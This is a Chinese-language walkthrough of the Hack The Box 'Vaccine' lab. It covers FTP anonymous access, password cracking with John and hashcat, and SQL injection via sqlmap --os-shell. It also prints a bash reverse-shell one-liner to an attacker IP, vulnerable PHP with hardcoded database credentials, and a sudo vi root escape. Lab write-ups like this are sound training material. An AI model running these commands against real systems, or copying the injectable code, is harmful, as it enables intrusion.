HTB - Vaccine
外网打点
nmap和fscan扫描
fscan扫描是为了确定是否真的有某种漏洞类型
└─# nmap -sV -sC -Pn --min-rate 1000 10.129.130.164

那这就很明显了,这里就是匿名登陆
FTP匿名登陆
账号:anonymous
密码:随便输入
可以看到有个备份我们拉取下来

但是看到这里有密码,那这个密码我们第一时间想到的肯定是爆破了
我们将不得不以某种方式破解密码。我们将用于此任务的工具名为 John the Ripper。
John the Ripper 是一款免费的密码破解软件工具。最初为 Unix 操作系统开发,它可以运行在十五种不同的平台上(其中包括十一种特定架构的 Unix 版本,以及 DOS、Win32、BeOS 和 OpenVMS)。它是最常用的密码测试与破解程序之一,因为它将多种密码破解工具集成在一个软件包中,能够自动检测密码哈希类型,并包含可自定义的破解功能。它可以针对多种加密密码格式运行,包括在各种 Unix 版本中最常见的几种基于 DES、MD5 或 Blowfish 的密码哈希类型、Kerberos AFS 以及 Windows NT/2000/XP/2003 的 LM 哈希。附加模块还扩展了其功能,支持基于 MD4 的密码哈希以及存储在 LDAP、MySQL 等系统中的密码。John the Ripper 在 Parrot OS 和 Kali Linux 中已预装,但如果您的系统没有安装,可以从软件仓库中进行安装:
sudo apt install john安装好后使用john --help 查看用法

为了成功破解密码,我们必须使用 John the Ripper 自带的 zip2john 模块将 ZIP 文件转换为哈希:
└─# zip2john backup.zip > hashes
现在,我们将输入以下命令:
john -wordlist=/usr/share/wordlists/rockyou.txt hashes 这样它将加载字典文件,并对存储在文件 hashes 中的哈希进行暴力破解。一旦密码被破解,我们将使用 --show 选项来显示已破解的密码。

密码直接就出来了741852963
解压成功后查看index.php内容
<!DOCTYPE html>
<?php
session_start();
if(isset($_POST['username']) && isset($_POST['password'])) {
if($_POST['username'] === 'admin' && md5($_POST['password']) === "2cb42f8734ea607eefed3b70af13bbd3") {
$_SESSION['login'] = "true";
header("Location: dashboard.php");
}
}
?>
<html lang="en" >
<head>
<meta charset="UTF-8">
<title>MegaCorp Login</title>
<link href="https://fonts.googleapis.com/css?family=Open+Sans:400,700" rel="stylesheet"><link rel="stylesheet" href="./style.css">
</head>
<h1 align=center>MegaCorp Login</h1>
<body>
<!-- partial:index.partial.html -->
<body class="align">
<div class="grid">
<form action="" method="POST" class="form login">
<div class="form__field">
<label for="login__username"><svg class="icon"><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#user"></use></svg><span class="hidden">Username</span></label>
<input id="login__username" type="text" name="username" class="form__input" placeholder="Username" required>
</div>
<div class="form__field">
<label for="login__password"><svg class="icon"><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#lock"></use></svg><span class="hidden">Password</span></label>
<input id="login__password" type="password" name="password" class="form__input" placeholder="Password" required>
</div>
<div class="form__field">
<input type="submit" value="Sign In">
</div>
</form>
</div>
<svg xmlns="http://www.w3.org/2000/svg" class="icons"><symbol id="arrow-right" viewBox="0 0 1792 1792"><path d="M1600 960q0 54-37 91l-651 651q-39 37-91 37-51 0-90-37l-75-75q-38-38-38-91t38-91l293-293H245q-52 0-84.5-37.5T128 1024V896q0-53 32.5-90.5T245 768h704L656 474q-38-36-38-90t38-90l75-75q38-38 90-38 53 0 91 38l651 651q37 35 37 90z"/></symbol><symbol id="lock" viewBox="0 0 1792 1792"><path d="M640 768h512V576q0-106-75-181t-181-75-181 75-75 181v192zm832 96v576q0 40-28 68t-68 28H416q-40 0-68-28t-28-68V864q0-40 28-68t68-28h32V576q0-184 132-316t316-132 316 132 132 316v192h32q40 0 68 28t28 68z"/></symbol><symbol id="user" viewBox="0 0 1792 1792"><path d="M1600 1405q0 120-73 189.5t-194 69.5H459q-121 0-194-69.5T192 1405q0-53 3.5-103.5t14-109T236 1084t43-97.5 62-81 85.5-53.5T538 832q9 0 42 21.5t74.5 48 108 48T896 971t133.5-21.5 108-48 74.5-48 42-21.5q61 0 111.5 20t85.5 53.5 62 81 43 97.5 26.5 108.5 14 109 3.5 103.5zm-320-893q0 159-112.5 271.5T896 896 624.5 783.5 512 512t112.5-271.5T896 128t271.5 112.5T1280 512z"/></symbol></svg>
</body>
<!-- partial -->
</body>
</html>可以看到这个页面有个php代码
<?php
session_start();
if(isset($_POST['username']) && isset($_POST['password'])) {
if($_POST['username'] === 'admin' && md5($_POST['password']) === "2cb42f8734ea607eefed3b70af13bbd3") {
$_SESSION['login'] = "true";
header("Location: dashboard.php");
}
}
?>上面大概是如果同时检测到username和password两个字段的时候并且username=admin然后password的md5值为2cb42f8734ea607eefed3b70af13bbd3就成功登录并且到dashboard.php去
所以我们这里需要爆破一下md5即可

在线网站可以直接爆破出来但是我们还是使用离线的方式
我们可以看到 admin:2cb42f8734ea607eefed3b70af13bbd3 这组凭据,或许可以加以利用。
但该密码似乎是经过哈希加密的。
我们将尝试识别哈希类型,并使用 hashcat 进行破解。
hashid 2cb42f8734ea607eefed3b70af13bbd3 
它提供了大量可能的哈希类型,但我们先尝试 MD5:
我们将把哈希值放入一个名为 hash 的文本文件中,然后使用 hashcat 进行破解。



Hashcat 已破解密码:qwerty789
我们将启动浏览器,对 80 端口进行枚举,查看可以登录的位置:

可以看到成功登录了
SQLmap 打os-shell
仪表盘没有特别的内容,但它有一个目录,可能与数据库相连。我们来创建一个查询:
通过检查 URL,我们可以看到有一个变量 $search,它负责在目录中进行搜索。我们可以测试它是否存在 SQL 注入漏洞,但我们将使用一个名为 sqlmap 的工具,而不是手动测试。
SQLmap 是一种用于渗透测试的开源工具,用于检测和利用 SQL 注入漏洞。SQLmap 能够自动检测和利用 SQL 注入。SQL 注入攻击可以控制使用 SQL 的数据库。sqlmap 在 Parrot OS 和 Kali Linux 中已预装,但如果未安装,您可以通过仓库进行安装:
sudo apt install sqlmap 要查看如何使用它,我们将输入以下命令:

我们将把URL和Cookie提供给sqlmap,以便它能够发现漏洞。之所以需要提供Cookie,是因为存在身份验证:
要获取Cookie,我们可以在Burp Suite中拦截任意请求并从中提取,但您也可以为浏览器安装一个名为cookie-editor的优秀扩展程序:
HTTP 请求消息中的 Cookie 通常以如下方式设置:
PHPSESSID=5d6n20k03mo5ocrnpjdtq8k3d9
了解这一点后,我们的 sqlmap 命令语法应如下所示:
sqlmap -u 'http://10.129.130.206/dashboard.php?search=any+query' --cookie="PHPSESSID=5d6n20k03mo5ocrnpjdtq8k3d9" 我们运行了 sqlmap:
注意:工具会提出一些问题,您可以输入 'Y' 或 'N' 回应,或直接按回车键使用默认答案。
在此输出中,对我们重要的部分是以下内容:
GET 参数 'search' 存在漏洞。是否要继续测试其他参数(如果有)?
[y/N]
该工具已确认目标易受 SQL 注入攻击,这正是我们需要知道的信息。我们将再次运行 sqlmap,这次会使用 --os-shell 标志,以便能够执行命令注入:
sqlmap -u 'http://10.129.130.206/dashboard.php?search=any+query' --cookie="PHPSESSID=5d6n20k03mo5ocrnpjdtq8k3d9" --os-shell --flush-session
# 注意默认配置并且清楚之前的缓存就这一步我其实卡了很久因为kali网络好像不太好通HTB,然后我使用了parrot虚拟机再次跑sqlmap
所以我的cookie换了一下
sqlmap -u 'http://10.129.130.206/dashboard.php?search=any+query' --cookie="PHPSESSID=5d6n20k03mo5ocrnpjdtq8k3d9" --os-shell最后在parrot系统上成功拿下

内网横向
反弹shell
我们获得了shell,但它不稳定且不可交互。为了使其更稳定,我们将使用以下载荷:
bash -c "bash -i >& /dev/tcp/10.10.16.25/443 0>&1" 我们将在443端口开启netcat监听:
速然后我们将执行该载荷:

我们将回到监听器,查看是否已获得连接:

我们已经获得了立足点。接下来将迅速使我们的shell完全交互化:
python3 -c 'import pty;pty.spawn("/bin/bash")'
CTRL+Z
stty raw -echo
fg
export TERM=xterm我们现在获得了完全交互的shell。
用户标志可以在 /var/lib/postgresql/ 目录中找到:
postgres@vaccine:/var/lib/postgresql/11/main$ cd /var/lib/postgresql/
cd /var/lib/postgresql/
postgres@vaccine:/var/lib/postgresql$ ls
ls
11 user.txt
postgres@vaccine:/var/lib/postgresql$
postgres@vaccine:/var/lib/postgresql$ cat user.txt
cat user.txt
####################################
postgres@vaccine:/var/lib/postgresql$
然后就是提权了
权限提升
d

但是很明显我们是不知道密码的
我们来到网页目录看看有什么有趣的东西

那毫无疑问php文件肯定是都要看一下的,而且这个命令框确实很不稳定
在dashboard.php里面看到一段php代码
<?php
session_start();
if($_SESSION['login'] !== "true") {
header("Location: index.php");
die();
}
try {
$conn = pg_connect("host=localhost port=5432 dbname=carsdb user=postgres password=P@s5w0rd!");
}
catch ( exception $e ) {
echo $e->getMessage();
}
if(isset($_REQUEST['search'])) {
$q = "Select * from cars where name ilike '%". $_REQUEST["search"] ."%'";
$result = pg_query($conn,$q);
if (!$result)
{
die(pg_last_error($conn));
}
while($row = pg_fetch_array($result, NULL, PGSQL_NUM))
{
echo "
<tr>
<td class='lalign'>$row[1]</td>
<td>$row[2]</td>
<td>$row[3]</td>
<td>$row[4]</td>
</tr>";
}
}
else {
$q = "Select * from cars";
$result = pg_query($conn,$q);
if (!$result)
{
die(pg_last_error($conn));
}
while($row = pg_fetch_array($result, NULL, PGSQL_NUM))
{
echo "
<tr>
<td class='lalign'>$row[1]</td>
<td>$row[2]</td>
<td>$row[3]</td>
<td>$row[4]</td>
</tr>";
}
}
?>
显而易见我们的密码就是P@s5w0rd!
那么我们可以尝试连接数据库

ssh postgres@10.129.130.206发现数据库连接不上去
sudo -l
因此,我们拥有 sudo 权限,可以通过运行 sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf 使用 vi 编辑 pg_hba.conf 文件。我们将前往 因此,我们可以使用 sudo 权限通过运行 sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf 来编辑 pg_hba.conf 文件。我们将前往 GTFOBins 查看是否可以滥用此权限:
https://gtfobins.github.io/gtfobins/vi/#sudo
如果该二进制文件被 sudo 允许以超级用户身份运行,它将不会放弃提升的权限,可用于访问文件系统、权限提升或维持特权访问。
sudo vi -c ':!/bin/sh' /dev/null
因此我们将执行该命令:
postgres@vaccine:/var/lib/postgresql/11/main$ sudo vi -c ':!/bin/sh' /dev/null
[sudo] password for postgres: P@s5w0rd!
Sorry, user postgres is not allowed to execute '/usr/bin/vi -c :!/bin/sh /dev/null' as root on vaccine.
postgres@vaccine:/var/lib/postgresql/11/main$ 我们无法执行以下命令,因为 sudo 仅限于运行 /bin/vi /etc/postgresql/11/main/pg_hba.conf。
根据 GTFOBins,还有另一种方法:
vi
:set shell=/bin/sh
:shell所以我们也将执行该操作:
postgres@vaccine:~$ sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf我们成功以超级用户(具有 root 权限)身份打开了 vi 编辑器:
现在我们将按下 : 键,以在 Vi 中设置指令:
:set shell=/bin/sh
可能长得有点抽象
接下来,我们将打开相同的指令界面并输入以下命令:
:shell
其实已经拿下了,但是我的命令行又退了,烦死


最后终于拿下
这个靶场有一个有点也有一个缺点就是这个os-shell的连接太不稳定时不时就需要重新连接,只能说多打几次吧